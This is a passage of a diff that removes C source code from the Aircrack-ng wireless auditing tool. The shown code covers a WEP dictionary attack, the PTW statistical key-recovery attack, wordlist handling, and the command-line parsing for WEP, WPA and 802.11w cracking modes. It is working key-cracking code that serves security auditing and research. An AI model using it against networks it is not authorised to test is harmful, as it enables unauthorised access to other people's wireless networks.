-				if (next_dict(opt.nbdict + 1) != 0)
-				{
-					free(tmpref);
-					tmp = NULL;
-					return (FAILURE);
-				}
-				else
-					continue;
-			}
-			else
-				pthread_mutex_unlock(&mx_dic);
-
-			i = strlen(*key);
-
-			if (i <= 2) continue;
-
-			if ((*key)[i - 1] == '\n') (*key)[--i] = '\0';
-			if ((*key)[i - 1] == '\r') (*key)[--i] = '\0';
-		}
-
-		break;
-	}
-
-	free(tmpref);
-	return (SUCCESS);
-}
-
-static int set_dicts(const char * args)
-{
-	int len;
-	char * optargs = strdup(args);
-	char * poptargs = optargs;
-	char * optarg;
-
-	if (optargs == NULL)
-	{
-		perror("Failed to allocate memory for arguments");
-		return (FAILURE);
-	}
-
-	opt.dictfinish = opt.totaldicts = opt.nbdict = 0;
-
-	// Use a temporary poptargs var because \a strsep trashes the value.
-	while ((opt.nbdict < MAX_DICTS)
-		   && (optarg = strsep(&poptargs, ",")) != NULL)
-	{
-		if (!strncasecmp(optarg, "h:", 2))
-		{
-			optarg += 2;
-			opt.hexdict[opt.nbdict] = 1;
-		}
-		else
-		{
-			opt.hexdict[opt.nbdict] = 0;
-		}
-
-		if (!(opt.dicts[opt.nbdict] = strdup(optarg)))
-		{
-			free(optargs);
-			perror("Failed to allocate memory for dictionary");
-			return (FAILURE);
-		}
-
-		opt.nbdict++;
-		opt.totaldicts++;
-	}
-	free(optargs);
-
-	for (len = opt.nbdict; len < MAX_DICTS; len++) opt.dicts[len] = NULL;
-
-	next_dict(0);
-
-	while (next_dict(opt.nbdict + 1) == 0)
-	{
-	}
-
-	next_dict(0);
-
-	return 0;
-}
-
-/*
-Uses the specified dictionary to crack the WEP key.
-
-Return: SUCCESS if it cracked the key,
-		FAILURE if it could not.
-*/
-static int crack_wep_dict(void)
-{
-	struct timeval t_last;
-	struct timeval t_now;
-	int i, origlen, keysize;
-	char * key;
-
-	keysize = opt.keylen + 1;
-
-	update_ivbuf();
-
-	if (wep.nb_ivs < TEST_MIN_IVS)
-	{
-		printf("\n%ld IVs is below the minimum required for a dictionary "
-			   "attack (%d IVs min.)!\n",
-			   wep.nb_ivs,
-			   TEST_MIN_IVS);
-		return (FAILURE);
-	}
-
-	key = (char *) malloc(sizeof(char) * (opt.keylen + 1));
-	if (key == NULL) return (FAILURE);
-
-	gettimeofday(&t_last, NULL);
-	t_last.tv_sec--;
-
-	while (1)
-	{
-		if (next_key(&key, keysize) != SUCCESS)
-		{
-			free(key);
-			return (FAILURE);
-		}
-
-		i = strlen(key);
-
-		origlen = i;
-
-		while (i < opt.keylen)
-		{
-			key[i] = key[i - origlen];
-			i++;
-		}
-
-		key[i] = '\0';
-
-		if (!opt.is_quiet)
-		{
-			gettimeofday(&t_now, NULL);
-			if ((t_now.tv_sec - t_last.tv_sec) > 0)
-			{
-				show_wep_stats(opt.keylen - 1, 1, NULL, NULL, NULL, 0);
-				gettimeofday(&t_last, NULL);
-			}
-		}
-
-		for (i = 0; i <= opt.keylen; i++)
-		{
-			wep.key[i] = (unsigned char) key[i];
-		}
-
-		if (check_wep_key(wep.key, opt.keylen, 0) == SUCCESS)
-		{
-			free(key);
-			wepkey_crack_success = 1;
-			return (SUCCESS);
-		}
-	}
-}
-
-/*
-Uses the PTW attack to crack the WEP key.
-
-Return: SUCCESS if it cracked the key,
-		FAILURE if it could not.
-*/
-static int crack_wep_ptw(struct AP_info * ap_cur)
-{
-	int(*all)[256];
-	int i, j, len = 0;
-
-	opt.ap = ap_cur;
-
-	all = malloc(32 * sizeof(int[256]));
-	if (all == NULL)
-	{
-		return FAILURE;
-	}
-
-	// initial setup (complete keyspace)
-	memset(all, 1, 32 * sizeof(int[256]));
-
-	// setting restricted keyspace
-	for (i = 0; i < 32; i++)
-	{
-		for (j = 0; j < 256; j++)
-		{
-			if ((opt.is_alnum && (j < 32 || j >= 128))
-				|| (opt.is_fritz && (j < 48 || j >= 58))
-				|| (opt.is_bcdonly && (j > 0x99 || (j & 0x0F) > 0x09)))
-				all[i][j] = 0;
-		}
-	}
-
-	// if debug is specified, force a specific value.
-	for (i = 0; i < 32; i++)
-	{
-		for (j = 0; j < 256; j++)
-		{
-			if (opt.debug_row[i] == 1 && opt.debug[i] != j)
-				all[i][j] = 0;
-			else if (opt.debug_row[i] == 1 && opt.debug[i] == j)
-				all[i][j] = 1;
-		}
-	}
-
-	if (ap_cur->nb_ivs_clean > 99)
-	{
-		ap_cur->nb_ivs = ap_cur->nb_ivs_clean;
-		// first try without bruteforcing, using only "clean" keystreams
-		if (opt.keylen != 13)
-		{
-			if (PTW_computeKey(ap_cur->ptw_clean,
-							   wep.key,
-							   opt.keylen,
-							   (KEYLIMIT * opt.ffact),
-							   PTW_DEFAULTBF,
-							   all,
-							   opt.ptw_attack)
-				== 1)
-				len = opt.keylen;
-		}
-		else
-		{
-			/* try 1000 40bit keys first, to find the key "instantly" and you
-			 * don't need to wait for 104bit to fail */
-			if (PTW_computeKey(ap_cur->ptw_clean,
-							   wep.key,
-							   5,
-							   1000,
-							   PTW_DEFAULTBF,
-							   all,
-							   opt.ptw_attack)
-				== 1)
-				len = 5;
-			else if (PTW_computeKey(ap_cur->ptw_clean,
-									wep.key,
-									13,
-									(KEYLIMIT * opt.ffact),
-									PTW_DEFAULTBF,
-									all,
-									opt.ptw_attack)
-					 == 1)
-				len = 13;
-			else if (PTW_computeKey(ap_cur->ptw_clean,
-									wep.key,
-									5,
-									(KEYLIMIT * opt.ffact) / 3,
-									PTW_DEFAULTBF,
-									all,
-									opt.ptw_attack)
-					 == 1)
-				len = 5;
-		}
-	}
-	if (!len)
-	{
-		ap_cur->nb_ivs = ap_cur->nb_ivs_vague;
-		// in case it's not found, try bruteforcing the id field and include
-		// "vague" keystreams
-		PTW_DEFAULTBF[10] = 1;
-		PTW_DEFAULTBF[11] = 1;
-		//        PTW_DEFAULTBF[12]=1;
-
-		if (opt.keylen != 13)
-		{
-			if (PTW_computeKey(ap_cur->ptw_vague,
-							   wep.key,
-							   opt.keylen,
-							   (KEYLIMIT * opt.ffact),
-							   PTW_DEFAULTBF,
-							   all,
-							   opt.ptw_attack)
-				== 1)
-				len = opt.keylen;
-		}
-		else
-		{
-			/* try 1000 40bit keys first, to find the key "instantly" and you
-			 * don't need to wait for 104bit to fail */
-			if (PTW_computeKey(ap_cur->ptw_vague,
-							   wep.key,
-							   5,
-							   1000,
-							   PTW_DEFAULTBF,
-							   all,
-							   opt.ptw_attack)
-				== 1)
-				len = 5;
-			else if (PTW_computeKey(ap_cur->ptw_vague,
-									wep.key,
-									13,
-									(KEYLIMIT * opt.ffact),
-									PTW_DEFAULTBF,
-									all,
-									opt.ptw_attack)
-					 == 1)
-				len = 13;
-			else if (PTW_computeKey(ap_cur->ptw_vague,
-									wep.key,
-									5,
-									(KEYLIMIT * opt.ffact) / 10,
-									PTW_DEFAULTBF,
-									all,
-									opt.ptw_attack)
-					 == 1)
-				len = 5;
-		}
-	}
-
-	free(all);
-
-	if (!len) return FAILURE;
-
-	opt.probability = 100;
-	key_found(wep.key, len, -1);
-
-	return SUCCESS;
-}
-
-#if DYNAMIC
-static void load_aircrack_crypto_dso(int simd_features)
-{
-	simd_init();
-
-	if (simd_features == -1)
-	{
-		simd_features = simd_get_supported_features();
-	}
-
-	if (ac_crypto_engine_loader_load(simd_features) != 0) exit(1);
-
-	simd_destroy();
-}
-#endif
-
-int main(int argc, char * argv[])
-{
-	int i, n, ret, option, j, ret1, nbMergeBSSID, unused;
-	int cpu_count, showhelp, z, zz, forceptw;
-	char *s, buf[128];
-	struct AP_info * ap_cur = NULL;
-	int old = 0;
-	char essid[33];
-	int restore_session = 0;
-	int nbarg = argc;
-	access_points = c_avl_create(station_compare);
-	targets = c_avl_create(station_compare);
-
-#ifdef HAVE_SQLITE
-	int rc;
-	char * zErrMsg = 0;
-	char looper[4] = {'|', '/', '-', '\\'};
-	int looperc = 0;
-	int waited = 0;
-	char * sqlformat = "SELECT pmk.PMK, passwd.passwd FROM pmk INNER JOIN "
-					   "passwd ON passwd.passwd_id = pmk.passwd_id INNER JOIN "
-					   "essid ON essid.essid_id = pmk.essid_id WHERE "
-					   "essid.essid = '%q'";
-	char * sql;
-#endif
-
-#ifdef USE_GCRYPT
-// Register callback functions to ensure proper locking in the sensitive parts
-// of libgcrypt < 1.6.0
-#if GCRYPT_VERSION_NUMBER < 0x010600
-	gcry_control(GCRYCTL_SET_THREAD_CBS, &gcry_threads_pthread);
-#endif
-	// Disable secure memory.
-	gcry_control(GCRYCTL_DISABLE_SECMEM, 0);
-	// Tell Libgcrypt that initialization has completed.
-	gcry_control(GCRYCTL_INITIALIZATION_FINISHED, 0);
-#endif
-	ret = FAILURE;
-	showhelp = 0;
-
-	// Start a new process group, we are perhaps going to call kill(0, ...)
-	// later
-	setsid();
-
-	memset(&opt, 0, sizeof(opt));
-
-	srand(time(NULL));
-
-#if DYNAMIC
-	// Load the best available shared library, or the user specified one.
-	int simd_features = -1;
-	if (argc >= 2 && strncmp(argv[1], "--simd=", 7) == 0)
-	{
-		const char * simd = &argv[1][7];
-
-		simd_features = ac_crypto_engine_loader_string_to_flag(simd);
-
-		if (simd_features < SIMD_SUPPORTS_NONE)
-		{
-			fprintf(stderr, "Unknown SIMD architecture.\n");
-			exit(1);
-		}
-	}
-
-	load_aircrack_crypto_dso(simd_features);
-#endif
-
-	// Get number of CPU (return -1 if failed).
-	cpu_count = get_nb_cpus();
-	opt.nbcpu = 1;
-	if (cpu_count > 1)
-	{
-		opt.nbcpu = cpu_count;
-	}
-
-	db = NULL;
-	j = 0;
-	/* check the arguments */
-
-	opt.nbdict = 0;
-	opt.amode = 0;
-	opt.do_brute = 1;
-	opt.do_mt_brute = 1;
-	opt.showASCII = 0;
-	opt.probability = 51;
-	opt.next_ptw_try = 0;
-	opt.do_ptw = 1;
-	opt.max_ivs = INT_MAX;
-	opt.visual_inspection = 0;
-	opt.firstbssid = NULL;
-	opt.bssid_list_1st = NULL;
-	opt.bssidmerge = NULL;
-	opt.oneshot = 0;
-	opt.logKeyToFile = NULL;
-	opt.wkp = NULL;
-	opt.hccap = NULL;
-	opt.forced_amode = 0;
-	opt.hccapx = NULL;
-
-	/*
-	all_ivs = malloc( (256*256*256) * sizeof(used_iv));
-	memset(all_ivs, 0, (256*256*256)*sizeof(used_iv));
-	*/
-
-	forceptw = 0;
-
-	// Check if we are restoring from a session
-	if (nbarg == 3 && (strcmp(argv[1], "--restore-session") == 0
-					   || strcmp(argv[1], "-R") == 0))
-	{
-		cracking_session = ac_session_load(argv[2]);
-		if (cracking_session == NULL)
-		{
-			fprintf(stderr, "Failed loading session file: %s\n", argv[2]);
-			return EXIT_FAILURE;
-		}
-		nbarg = cracking_session->argc;
-		printf("Restoring session\n");
-		//        printf("nbarg: %d\nArguments:\n", nbarg);
-		//        for (int i = 0; i < nbarg; ++i) {
-		//            printf("- %s\n", cracking_session->argv[i]);
-		//        }
-		restore_session = 1;
-	}
-
-	while (1)
-	{
-
-		int option_index = 0;
-
-		static struct option long_options[]
-			= {{"bssid", 1, 0, 'b'},
-			   {"debug", 1, 0, 'd'},
-			   {"combine", 0, 0, 'C'},
-			   {"help", 0, 0, 'H'},
-			   {"wep-decloak", 0, 0, 'D'},
-			   {"ptw-debug", 1, 0, 'P'},
-			   {"visual-inspection", 0, 0, 'V'},
-			   {"oneshot", 0, 0, '1'},
-			   {"cpu-detect", 0, 0, 'u'},
-			   {"new-session", 1, 0, 'N'},
-			   // Even though it's taken care of above, we need to
-			   // handle the case where it's used along with other
-			   // parameters.
-			   {"restore-session", 1, 0, 'R'},
-			   {"simd", 1, 0, 'W'},
-			   {"simd-list", 0, 0, 0},
-			   {0, 0, 0, 0}};
-
-		// Load argc/argv either from the cracking session or from arguments
-		option = getopt_long(
-			nbarg,
-			((restore_session) ? cracking_session->argv : argv),
-			"r:a:e:b:p:qcthd:l:E:J:m:n:i:f:k:x::XysZ:w:0HKC:M:DP:zV1Suj:N:R:",
-			long_options,
-			&option_index);
-
-		if (option < 0) break;
-
-		if (option_index >= 0)
-		{
-			if (strncmp(long_options[option_index].name, "simd-list", 9) == 0)
-			{
-				int simd_found = ac_crypto_engine_loader_get_available();
-				char * simd_list
-					= ac_crypto_engine_loader_flags_to_string(simd_found);
-
-				printf("%s\n", simd_list);
-
-				free(simd_list);
-
-				exit(0);
-			}
-		}
-
-		switch (option)
-		{
-			case 'N':
-				// New session
-				if (cracking_session == NULL)
-				{
-					// Ignore if there is a cracking session (which means it was
-					// loaded from it)
-					cracking_session
-						= ac_session_from_argv(nbarg, argv, optarg);
-					if (cracking_session == NULL)
-					{
-						return EXIT_FAILURE;
-					}
-				}
-				break;
-			case 'R':
-				// Restore and continue session
-				fprintf(stderr,
-						"This option must be used without any other option!\n");
-				return EXIT_FAILURE;
-
-			case 'W':
-				break;
-
-			case 'S':
-				_speed_test = 1;
-				break;
-
-			case 'Z':
-				_speed_test_length = strtol(optarg, NULL, 10);
-				if (errno == ERANGE)
-				{
-					fprintf(stderr, "Invalid speed test length given.\n");
-					return EXIT_FAILURE;
-				}
-				break;
-
-			case ':':
-
-				printf("\"%s --help\" for help.\n", argv[0]);
-				return (1);
-
-			case '?':
-
-				printf("\"%s --help\" for help.\n", argv[0]);
-				return (1);
-
-			case 'u':
-#if defined(__i386__) || defined(__x86_64__) || defined(__arm__)
-				cpuid_getinfo();
-				int in_use_simdsize = dso_ac_crypto_engine_simd_width();
-				printf("SIMD size in use= %d ", in_use_simdsize);
-
-				if (in_use_simdsize == 1)
-					printf("(64 bit)\n");
-				else if (in_use_simdsize == 4)
-					printf("(128 bit)\n");
-				else if (in_use_simdsize == 8)
-					printf("(256 bit)\n");
-				else if (in_use_simdsize == 16)
-					printf("(512 bit)\n");
-				else
-					printf("(unknown)\n");
-#else
-				printf("Nb CPU detected: %d\n", cpu_count);
-#endif
-				return (0);
-
-			case 'V':
-				if (forceptw)
-				{
-					printf("Visual inspection can only be used with KoreK\n");
-					printf("Use \"%s --help\" for help.\n", argv[0]);
-					return FAILURE;
-				}
-
-				opt.visual_inspection = 1;
-				opt.do_ptw = 0;
-				break;
-
-			case 'a':
-
-				ret1 = sscanf(optarg, "%d", &opt.amode);
-
-				if (strcasecmp(optarg, "wep") == 0)
-					opt.amode = 1;
-
-				else if (strcasecmp(optarg, "wpa") == 0)
-					opt.amode = 2;
-
-				else if (strcasecmp(optarg, "80211w") == 0)
-					opt.amode = 3;
-
-				if (ret1 != 1
-					|| (opt.amode != 1 && opt.amode != 2 && opt.amode != 3))
-				{
-					printf(
-						"Invalid attack mode. [1,2,3] or [wep,wpa,80211w]\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (FAILURE);
-				}
-
-#if !defined(HAVE_OPENSSL_CMAC_H) && !defined(GCRYPT_WITH_CMAC_AES)
-				if (opt.amode == 3)
-				{
-					fprintf(stderr,
-							"Key version 3 is only supported when OpenSSL (or "
-							"similar) supports CMAC.\n");
-
-					return (FAILURE);
-				}
-#endif /* !HAVE_OPENSSL_CMAC_H && !GCRYPT_WITH_CMAC_AES */
-
-				opt.forced_amode = 1;
-
-				break;
-
-			case 'e':
-
-				memset(opt.essid, 0, sizeof(opt.essid));
-				strncpy(opt.essid, optarg, sizeof(opt.essid) - 1);
-				opt.essid_set = 1;
-				break;
-
-			case 'b':
-
-				if (getmac(optarg, 1, opt.bssid) != 0)
-				{
-					printf("Invalid BSSID (not a MAC).\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (FAILURE);
-				}
-
-				opt.bssid_set = 1;
-				break;
-
-			case 'p':
-				if (sscanf(optarg, "%d", &opt.nbcpu) != 1 || opt.nbcpu < 1
-					|| opt.nbcpu > MAX_THREADS)
-				{
-					printf("Invalid number of processes (recommended: %d)\n",
-						   cpu_count);
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (FAILURE);
-				}
-
-				break;
-
-			case 'q':
-
-				opt.is_quiet = 1;
-
-				break;
-
-			case 'c':
-
-				opt.is_alnum = 1;
-				break;
-
-			case 'D':
-
-				opt.wep_decloak = 1;
-				break;
-
-			case 'h':
-
-				opt.is_fritz = 1;
-				break;
-
-			case 't':
-
-				opt.is_bcdonly = 1;
-				break;
-
-			case '1':
-
-				opt.oneshot = 1;
-				break;
-
-			case 'd':
-
-				i = 0;
-				n = 0;
-				s = optarg;
-				while (s[i] != '\0')
-				{
-					if (s[i] == 'x') s[i] = 'X';
-					if (s[i] == 'y') s[i] = 'Y';
-					if (s[i] == '-' || s[i] == ':' || s[i] == ' ')
-						i++;
-					else
-						s[n++] = s[i++];
-				}
-				s[n] = '\0';
-				buf[0] = s[0];
-				buf[1] = s[1];
-				buf[2] = '\0';
-				i = 0;
-				j = 0;
-				while ((sscanf(buf, "%x", &n) == 1)
-					   || (buf[0] == 'X' && buf[1] == 'X')
-					   || (buf[0] == 'Y' && buf[1] == 'Y'))
-				{
-					if (buf[0] == 'X' && buf[1] == 'X')
-					{
-						opt.debug_row[i++] = 0;
-					}
-					else if (buf[0] == 'Y' && buf[1] == 'Y')
-					{
-						opt.brutebytes[j++] = i++;
-					}
-					else
-					{
-						if (n < 0 || n > 255)
-						{
-							printf("Invalid debug key.\n");
-							printf("\"%s --help\" for help.\n", argv[0]);
-							return (FAILURE);
-						}
-						opt.debug[i] = n;
-						opt.debug_row[i++] = 1;
-					}
-					if (i >= 64) break;
-					s += 2;
-					buf[0] = s[0];
-					buf[1] = s[1];
-				}
-
-				opt.do_ptw = 0;
-				break;
-
-			case 'm':
-
-				if (getmac(optarg, 1, opt.maddr) != 0)
-				{
-					printf("Invalid MAC address filter.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (FAILURE);
-				}
-
-				break;
-
-			case 'n':
-
-				if (sscanf(optarg, "%d", &opt.keylen) != 1
-					|| (opt.keylen != 64 && opt.keylen != 128
-						&& opt.keylen != 152
-						&& opt.keylen != 256
-						&& opt.keylen != 512))
-				{
-					printf("Invalid WEP key length. [64,128,152,256,512]\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (FAILURE);
-				}
-
-				opt.keylen = (opt.keylen / 8) - 3;
-
-				break;
-
-			case 'i':
-
-				if (sscanf(optarg, "%d", &opt.index) != 1 || opt.index < 1
-					|| opt.index > 4)
-				{
-					printf("Invalid WEP key index. [1-4]\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (FAILURE);
-				}
-
-				break;
-
-			case 'f':
-
-				if (sscanf(optarg, "%f", &opt.ffact) != 1 || opt.ffact < 1)
-				{
-					printf("Invalid fudge factor. [>=1]\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (FAILURE);
-				}
-
-				break;
-
-			case 'k':
-
-				if (sscanf(optarg, "%d", &opt.korek) != 1 || opt.korek < 1
-					|| opt.korek > N_ATTACKS)
-				{
-					printf("Invalid KoreK attack strategy. [1-%d]\n",
-						   N_ATTACKS);
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (FAILURE);
-				}
-
-				K_COEFF[(opt.korek) - 1] = 0;
-
-				break;
-
-			case 'l':
-				opt.logKeyToFile = (char *) calloc(1, strlen(optarg) + 1);
-				if (opt.logKeyToFile == NULL)
-				{
-					printf("Error allocating memory\n");
-					return (FAILURE);
-				}
-
-				strncpy(opt.logKeyToFile, optarg, strlen(optarg));
-				break;
-
-			case 'E':
-				// Make sure there's enough space for file extension just in
-				// case it was forgotten
-				opt.wkp = (char *) calloc(1, strlen(optarg) + 1 + 4);
-				if (opt.wkp == NULL)
-				{
-					printf("Error allocating memory\n");
-					return (FAILURE);
-				}
-
-				strncpy(opt.wkp, optarg, strlen(optarg));
-
-				break;
-
-			case 'J':
-				// Make sure there's enough space for file extension just in
-				// case it was forgotten
-				opt.hccap = (char *) calloc(1, strlen(optarg) + 1 + 6);
-				if (opt.hccap == NULL)
-				{
-					printf("Error allocating memory\n");
-					return (FAILURE);
-				}
-
-				strncpy(opt.hccap, optarg, strlen(optarg));
-
-				break;
-
-			case 'j':
-				// Make sure there's enough space for file extension just in
-				// case it was forgotten
-				opt.hccapx = (char *) calloc(1, strlen(optarg) + 1 + 7);
-				if (opt.hccapx == NULL)
-				{
-					printf("Error allocating memory\n");
-					return (FAILURE);
-				}
-
-				strncpy(opt.hccapx, optarg, strlen(optarg));
-
-				break;
-
-			case 'M':
-
-				if (sscanf(optarg, "%d", &opt.max_ivs) != 1 || opt.max_ivs < 1)
-				{
-					printf("Invalid number of max. ivs [>1]\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (FAILURE);
-				}
-
-				K_COEFF[(opt.korek) - 1] = 0;
-
-				break;
-
-			case 'P':
-
-				if (sscanf(optarg, "%d", &opt.ptw_attack) != 1
-					|| opt.ptw_attack < 0
-					|| opt.ptw_attack > 2)
-				{
-					printf("Invalid number for ptw debug [0-2]\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (FAILURE);
-				}
-
-				break;
-
-			case 'x':
-
-				opt.do_brute = 0;
-
-				if (optarg)
-				{
-					if (sscanf(optarg, "%d", &opt.do_brute) != 1
-						|| opt.do_brute < 0
-						|| opt.do_brute > 4)
-					{
-						printf("Invalid option -x%s. [0-4]\n", optarg);
-						printf("\"%s --help\" for help.\n", argv[0]);
-						return FAILURE;
-					}
-				}
-
-				break;
-
-			case 'X':
-
-				opt.do_mt_brute = 0;
-				break;
-
-			case 'y':
-
-				opt.do_testy = 1;
-				break;
-
-			case 'K':
-				opt.do_ptw = 0;
-				break;
-
-			case 's':
-				opt.showASCII = 1;
-				break;
-
-			case 'w':
-				if (set_dicts(optarg) != 0)
-				{
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return FAILURE;
-				}
-
-				opt.do_ptw = 0;
-				break;
-
-			case 'r':
-#ifdef HAVE_SQLITE
-				if (sqlite3_open(optarg, &db))
-				{
-					fprintf(stderr, "Database error: %s\n", sqlite3_errmsg(db));
-					sqlite3_close(db);
-					return FAILURE;
-				}
-#else
-				fprintf(
-					stderr,
-					"Error: Aircrack-ng wasn't compiled with sqlite support\n");
-				return FAILURE;
-#endif
-				break;
-
-			case '0':
-
-				opt.l33t = 1;
-				break;
-
-			case 'H':
-
-				showhelp = 1;
-				goto usage;
-				break;
-
-			case 'C':
-				nbMergeBSSID = checkbssids(optarg);
-
-				if (nbMergeBSSID < 1 || nbMergeBSSID >= INT_MAX)
-				{
-					printf("Invalid bssids (-C).\n\"%s --help\" for help.\n",
-						   argv[0]);
-					return FAILURE;
-				}
-
-				// Useless to merge BSSID if only one element
-				if (nbMergeBSSID == 1)
-					printf(
-						"Merging BSSID disabled, only one BSSID specified\n");
-				else
-					opt.bssidmerge = optarg;
-
-				break;
-
-			case 'z':
-				/* only for backwards compatibility - PTW used by default */
-				if (opt.visual_inspection)
-				{
-					printf("Visual inspection can only be used with KoreK\n");
-					printf("Use \"%s --help\" for help.\n", argv[0]);
-					return FAILURE;
-				}
-
-				forceptw = 1;
-
-				break;
-
-			default:
-				goto usage;
-		}
-	}
-
-	if (_speed_test)
-	{
-		if (opt.forced_amode != 1)
-		{
-			// default to WPA-PSK (2)
-			opt.amode = 2;
-		}
-		opt.dict = stdin;
-		opt.bssid_set = 1;
-
-		ap_cur = malloc(sizeof(*ap_cur));
-		if (!ap_cur) err(1, "malloc()");
-
-		memset(ap_cur, 0, sizeof(*ap_cur));
-
-		ap_cur->target = 1;
-		ap_cur->wpa.state = 7;
-		ap_cur->wpa.keyver = (uint8_t)(opt.amode & 0xFF);
-		strcpy(ap_cur->essid, "sorbo");
-		strcpy((char *) ap_cur->bssid, "deadb");
-		c_avl_insert(targets, ap_cur->bssid, ap_cur);
-
-		goto __start;
-	}
-
-	// Cracking session is only for when one or more wordlists are used.
-	// Airolib-ng not supported and stdin not allowed.
-	if ((opt.dict == NULL || opt.no_stdin || db) && cracking_session)
-	{
-		fprintf(
-			stderr,
-			"Cannot save/restore cracking session when there is no wordlist,"
-			" when using stdin or when using airolib-ng database.");
-		goto exit_main;
-	}
-
-	progname = getVersion(
-		"Aircrack-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
-
-	if ((cracking_session && cracking_session->argc - optind < 1)
-		|| (!cracking_session && argc - optind < 1))
-	{
-		if (nbarg == 1)
-		{
-		usage:
-			printf(usage,
-				   progname,
-				   (cpu_count > 1 || cpu_count == -1) ? "\n      -X         : "
-														"disable  bruteforce   "
-														"multithreading\n"
-													  : "\n");
-
-			// If the user requested help, exit directly.
-			if (showhelp == 1) clean_exit(SUCCESS);
-		}
-
-		// Missing parameters
-		if (nbarg - optind == 0)
-		{
-			printf("No file to crack specified.\n");
-		}
-		if (nbarg > 1)
-		{
-			printf("\"%s --help\" for help.\n", argv[0]);
-		}
-		clean_exit(ret);
-	}
-
-	if (opt.amode >= 2 && opt.dict == NULL)
-	{
-	nodict:
-		if (opt.wkp == NULL && opt.hccap == NULL && opt.hccapx == NULL)
-		{
-			printf("Please specify a dictionary (option -w).\n");
-		}
-		else
-		{
-			if (opt.wkp)
-			{
-				ret = do_make_wkp(ap_cur);
-			}
-			if (opt.hccap)
-			{
-				ret = do_make_hccap(ap_cur);
-			}
-			if (opt.hccapx)
-			{
-				ret = do_make_hccapx(ap_cur);
-			}
-		}
-		goto exit_main;
-	}
-
-	if ((!opt.essid_set && !opt.bssid_set) && (opt.is_quiet || opt.no_stdin))
-	{
-		printf("Please specify an ESSID or BSSID.\n");
-		goto exit_main;
-	}
-
-	/* start one thread per input file */
-
-	signal(SIGINT, sighandler);
-	signal(SIGQUIT, sighandler);
-	signal(SIGTERM, sighandler);
-	signal(SIGALRM, SIG_IGN);
-
-	pthread_mutex_init(&mx_apl, NULL);
-	pthread_mutex_init(&mx_ivb, NULL);
-	pthread_mutex_init(&mx_eof, NULL);
-	pthread_mutex_init(&mx_dic, NULL);
-	pthread_cond_init(&cv_eof, NULL);
-
-	old = optind;
-	n = nbarg - optind;
-	id = 0;
-
-	if (!opt.bssid_set)
-	{
-		if (!opt.is_quiet)
-		{
-			printf("Reading packets, please wait...\r");
-			fflush(stdout);
-		}
-
-		do
-		{
-			char * optind_arg = (restore_session)
-									? cracking_session->argv[optind]
-									: argv[optind];
-			if (strcmp(optind_arg, "-") == 0) opt.no_stdin = 1;
-
-			packet_reader_t * request
-				= (packet_reader_t *) calloc(1, sizeof(packet_reader_t));
-			if (NULL == request) perror("malloc");
-
-			request->mode = PACKET_READER_CHECK_MODE;
-			request->filename = optind_arg;
-
-			if (pthread_create(
-					&(tid[id]), NULL, (void *) packet_reader_thread, request)
-				!= 0)
-			{
-				perror("pthread_create failed");
-				goto exit_main;
-			}
-
-			id++;
-			if (id >= MAX_THREADS)
-			{
-				if (!opt.is_quiet)
-					printf(
-						"Only using the first %d files, ignoring the rest.\n",
-						MAX_THREADS);
-				break;
-			}
-		} while (++optind < nbarg);
-
-		/* wait until each thread reaches EOF */
-
-		// 		#ifndef DO_PGO_DUMP
-		// 		signal( SIGINT, SIG_DFL );	 /* we want sigint to stop and dump
-		// pgo
-		// data */
-		// 		#endif
-
-		intr_read = 1;
-		for (i = 0; i < id; i++)
-		{
-			pthread_join(tid[i], NULL);
-			tid[i] = 0;
-		}
-		intr_read = 0;
-
-		if (!opt.is_quiet && !opt.no_stdin)
-		{
-			erase_line(0);
-			printf("Read %ld packets.\n\n", nb_pkt);
-		}
-
-		if (c_avl_size(access_points) == 0)
-		{
-			printf("No networks found, exiting.\n");
-			goto exit_main;
-		}
-
-		if (cracking_session && restore_session)
-		{
-			// If cracking session present (and it is a restore), auto-load it
-			int not_found = c_avl_get(
-				access_points, cracking_session->bssid, (void **) &ap_cur);
-
-			if (not_found)
-			{
-				fprintf(stderr, "Failed to find BSSID from restore session.\n");
-				clean_exit(EXIT_FAILURE);
-			}
-
-			// Set BSSID
-			memcpy(opt.bssid, ap_cur->bssid, 6);
-			opt.bssid_set = 1;
-
-			// Set wordlist
-			if (next_dict(cracking_session->wordlist_id))
-			{
-				fprintf(stderr,
-						"Failed setting wordlist ID from restore session.\n");
-				clean_exit(EXIT_FAILURE);
-			}
-
-			// Move into position in the wordlist
-			if (fseeko(opt.dict, cracking_session->pos, SEEK_SET) != 0
-				|| ftello(opt.dict) != cracking_session->pos)
-			{
-				fprintf(stderr,
-						"Failed setting position in wordlist from "
-						"restore session.\n");
-				clean_exit(EXIT_FAILURE);
-			}
-
-			// Set amount of keys tried -> Done later
-		}
-		else if (!opt.essid_set && !opt.bssid_set)
-		{
-			/* ask the user which network is to be cracked */
-
-			printf("   #  BSSID%14sESSID%21sEncryption\n\n", "", "");
-
-			i = 1;
-
-			void * key;
-			c_avl_iterator_t * it = c_avl_get_iterator(access_points);
-			while (c_avl_iterator_next(it, &key, (void **) &ap_cur) == 0)
-			{
-				memset(essid, 0, sizeof(essid));
-				memcpy(essid, ap_cur->essid, 32);
-				for (zz = 0; zz < 32; zz++)
-				{
-					if ((essid[zz] > 0 && essid[zz] < 32) || (essid[zz] > 126))
-						essid[zz] = '?';
-				}
-
-				printf("%4d  %02X:%02X:%02X:%02X:%02X:%02X  %-24s  ",
-					   i,
-					   ap_cur->bssid[0],
-					   ap_cur->bssid[1],
-					   ap_cur->bssid[2],
-					   ap_cur->bssid[3],
-					   ap_cur->bssid[4],
-					   ap_cur->bssid[5],
-					   essid);
-
-				if (ap_cur->eapol) printf("EAPOL+");
-
-				switch (ap_cur->crypt)
-				{
-					case 0:
-						printf("None (%d.%d.%d.%d)\n",
-							   ap_cur->lanip[0],
-							   ap_cur->lanip[1],
-							   ap_cur->lanip[2],
-							   ap_cur->lanip[3]);
-						break;
-
-					case 1:
-						printf("No data - WEP or WPA\n");
-						break;
-
-					case 2:
